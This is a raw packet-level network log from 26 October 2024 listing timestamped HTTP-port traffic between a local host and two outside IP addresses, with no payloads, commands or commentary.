Oct 26, 2024 05:54:47.251082897 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:47.296389103 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:47.296448946 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:47.296504974 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:47.296592951 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:47.296622038 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:47.296637058 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:47.330784082 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:47.330836058 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:47.330843925 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:47.330873966 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:47.330924034 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:47.330959082 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:47.330976009 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:47.330988884 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:47.331001997 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:47.331043959 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:47.331079006 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:47.331113100 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:47.331115961 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:47.331146955 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:47.331154108 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:47.331368923 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:47.331402063 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:47.331414938 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:47.331435919 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:47.331480026 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:47.331583023 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:47.331614971 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:47.331649065 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:47.331655979 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:47.331820011 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:47.331897020 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:47.331898928 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:47.331933022 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:47.331964970 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:47.332011938 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:47.371710062 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:47.371747017 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:47.371762991 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:47.371781111 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:47.371824026 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:47.412369013 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:47.412390947 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:47.412406921 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:47.412436008 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:47.457801104 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:47.457835913 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:47.457870960 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:47.457895994 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:47.457904100 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:47.457916975 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:47.492294073 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:47.492328882 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:47.492381096 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:47.492410898 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:47.492424011 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:47.492428064 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:47.492460966 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:47.492495060 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:47.492506981 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:47.492528915 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:47.492563009 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:47.492609978 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:47.492718935 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:47.492798090 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:47.492832899 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:47.492844105 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:47.492872953 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:47.493041992 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:47.493078947 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:47.493097067 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:47.493130922 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:47.493165970 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:47.493176937 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:47.493338108 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:47.493366003 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:47.493381977 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:47.493407011 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:47.493416071 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:47.493444920 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:47.493494034 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:47.498512030 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:47.500256062 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:47.505044937 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:47.510574102 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:47.533001900 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:47.533035994 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:47.533109903 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:47.533144951 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:47.533164024 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:47.533202887 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:47.573892117 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:47.573930979 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:47.573946953 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:47.573980093 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:47.614775896 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:47.619575977 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:47.619622946 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:47.619659901 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:47.619775057 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:47.653537035 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:47.653568983 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:47.653620958 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:47.653654099 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:47.653661013 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:47.653711081 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:47.653721094 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:47.653764963 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:47.653799057 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:47.653850079 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:47.653850079 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:47.653914928 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:47.653964996 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:47.653997898 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:47.654046059 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:47.654088020 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:47.654155016 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:47.654200077 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:47.654233932 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:47.654268980 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:47.654292107 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:47.654301882 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:47.654356003 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:47.654545069 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:47.654599905 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:47.654650927 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:47.654680014 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:47.654685020 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:47.654720068 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:47.654774904 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:47.694641113 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:47.694788933 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:47.694861889 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:47.694894075 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:47.694983959 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:47.734834909 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:47.734879017 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:47.734915018 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:47.734942913 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:47.734950066 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:47.735120058 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:47.780623913 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:47.780673981 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:47.780710936 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:47.780766010 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:47.815007925 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:47.815053940 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:47.815092087 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:47.815114021 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:47.815150976 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:47.815155983 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:47.815186024 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:47.815221071 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:47.815232992 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:47.815256119 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:47.815310001 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:47.815346956 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:47.815382957 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:47.815418959 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:47.815454006 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:47.815488100 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:47.815521002 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:47.815552950 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:47.815565109 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:47.815598965 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:47.815787077 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:47.815838099 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:47.815871000 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:47.815943003 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:47.816032887 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:47.816085100 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:47.816087008 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:47.816148996 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:47.816199064 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:47.816214085 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:47.855695963 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:47.855726004 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:47.855775118 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:47.855825901 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:47.855875015 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:47.855887890 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:47.896188974 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:47.896226883 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:47.896239996 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:47.896279097 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:47.896353006 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:47.942868948 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:47.942939997 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:47.942967892 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:47.942990065 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:47.976264954 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:47.976295948 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:47.976329088 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:47.976361036 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:47.976381063 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:47.976393938 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:47.976414919 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:47.976449013 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:47.976480961 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:47.976483107 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:47.976608992 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:47.976727962 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:47.976778984 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:47.976818085 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:47.976839066 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:47.976850033 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:47.976917028 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:47.976962090 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:47.977063894 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:47.977097034 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:47.977119923 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:47.977130890 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:47.977164030 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:47.977191925 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:47.977389097 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:47.977457047 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:47.977468967 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:47.977497101 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:47.977575064 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:48.017128944 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:48.017235994 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:48.017263889 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:48.017383099 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:48.057504892 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:48.057605028 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:48.057635069 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:48.057667971 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:48.057771921 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:48.104126930 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:48.104325056 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:48.104355097 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:48.104398966 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:48.137638092 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:48.137723923 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:48.137758970 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:48.137763023 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:48.137788057 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:48.137816906 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:48.137823105 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:48.137892962 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:48.137959003 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:48.138003111 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:48.138053894 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:48.138088942 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:48.138104916 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:48.138123035 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:48.138156891 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:48.138165951 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:48.138189077 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:48.138223886 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:48.138266087 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:48.138266087 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:48.138274908 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:48.138309956 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:48.138341904 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:48.138416052 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:48.138546944 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:48.138597965 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:48.138632059 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:48.138664007 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:48.138676882 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:48.138676882 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:48.178514004 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:48.178546906 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:48.178580999 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:48.178746939 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:48.178746939 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:48.219290018 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:48.219573021 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:48.219602108 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:48.219727993 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:48.265542030 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:48.265577078 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:48.265610933 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:48.265669107 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:48.265669107 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:48.298966885 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:48.299042940 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:48.299112082 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:48.299119949 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:48.299180031 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:48.299215078 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:48.299247026 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:48.299247980 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:48.299280882 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:48.299302101 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:48.299330950 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:48.299365997 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:48.299381971 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:48.299401045 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:48.299468040 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:48.299484015 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:48.299510956 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:48.299572945 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:48.299592018 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:48.299643993 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:48.299676895 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:48.299700975 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:48.299757957 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:48.299789906 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:48.299813986 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:48.299823999 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:48.299875975 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:48.339786053 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:48.339817047 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:48.339854002 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:48.339886904 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:48.339905024 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:48.339935064 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:48.379998922 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:48.380032063 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:48.380065918 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:48.380115986 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:48.398547888 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:48.398665905 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:48.400598049 CEST	49745	80	192.168.2.4	185.215.113.206
Oct 26, 2024 05:54:48.405944109 CEST	80	49745	185.215.113.206	192.168.2.4
Oct 26, 2024 05:54:48.427104950 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:48.427156925 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:48.427196980 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:48.427299023 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:48.427299023 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:48.460319996 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:48.460388899 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:48.460423946 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:48.460448027 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:48.460458994 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:48.460495949 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:48.460513115 CEST	49742	80	192.168.2.4	185.215.113.16
Oct 26, 2024 05:54:48.460546970 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:48.460583925 CEST	80	49742	185.215.113.16	192.168.2.4
Oct 26, 2024 05:54:48.460599899 CEST	49742	80	192.168.2.4	185.215.113.16
